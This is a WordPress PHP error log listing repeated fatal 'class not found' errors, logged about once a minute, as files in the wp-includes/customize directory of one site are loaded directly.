[03-Nov-2025 04:55:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[03-Nov-2025 04:56:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[03-Nov-2025 04:57:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[03-Nov-2025 04:58:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[03-Nov-2025 04:59:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[03-Nov-2025 05:00:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[03-Nov-2025 05:01:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[03-Nov-2025 05:02:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[03-Nov-2025 05:03:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[03-Nov-2025 05:04:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[03-Nov-2025 05:05:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[03-Nov-2025 05:06:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[03-Nov-2025 05:07:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[03-Nov-2025 05:08:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[03-Nov-2025 05:10:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[03-Nov-2025 05:11:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[03-Nov-2025 05:12:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[03-Nov-2025 05:13:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[03-Nov-2025 05:14:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[03-Nov-2025 05:15:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[03-Nov-2025 05:17:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[03-Nov-2025 05:18:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[03-Nov-2025 05:19:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[03-Nov-2025 05:20:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[03-Nov-2025 05:21:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[03-Nov-2025 05:22:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[03-Nov-2025 05:24:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[03-Nov-2025 05:32:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[03-Nov-2025 05:33:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[03-Nov-2025 05:34:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[03-Nov-2025 05:35:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[03-Nov-2025 05:36:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[03-Nov-2025 05:37:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[03-Nov-2025 05:38:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[03-Nov-2025 05:39:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[03-Nov-2025 05:40:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[03-Nov-2025 05:41:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[03-Nov-2025 05:42:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[03-Nov-2025 05:43:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[03-Nov-2025 05:44:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[03-Nov-2025 05:45:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[03-Nov-2025 05:46:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[03-Nov-2025 05:47:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[03-Nov-2025 05:48:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[03-Nov-2025 05:49:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[03-Nov-2025 05:51:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[03-Nov-2025 05:52:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[03-Nov-2025 05:53:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[03-Nov-2025 05:54:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[03-Nov-2025 05:55:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[03-Nov-2025 05:56:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[03-Nov-2025 05:57:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[03-Nov-2025 05:58:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[03-Nov-2025 05:59:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[03-Nov-2025 06:00:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[03-Nov-2025 06:15:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[03-Nov-2025 06:15:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[03-Nov-2025 06:21:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[03-Nov-2025 06:22:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[03-Nov-2025 06:23:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[03-Nov-2025 06:24:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[03-Nov-2025 06:25:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[03-Nov-2025 06:26:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[03-Nov-2025 06:27:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[03-Nov-2025 06:28:46 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[03-Nov-2025 06:29:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[03-Nov-2025 06:30:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[03-Nov-2025 06:31:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[03-Nov-2025 06:32:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[03-Nov-2025 06:33:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[03-Nov-2025 06:35:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[03-Nov-2025 06:36:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[03-Nov-2025 06:37:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[03-Nov-2025 06:38:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[03-Nov-2025 06:39:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[03-Nov-2025 06:40:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[03-Nov-2025 06:41:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[03-Nov-2025 06:42:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
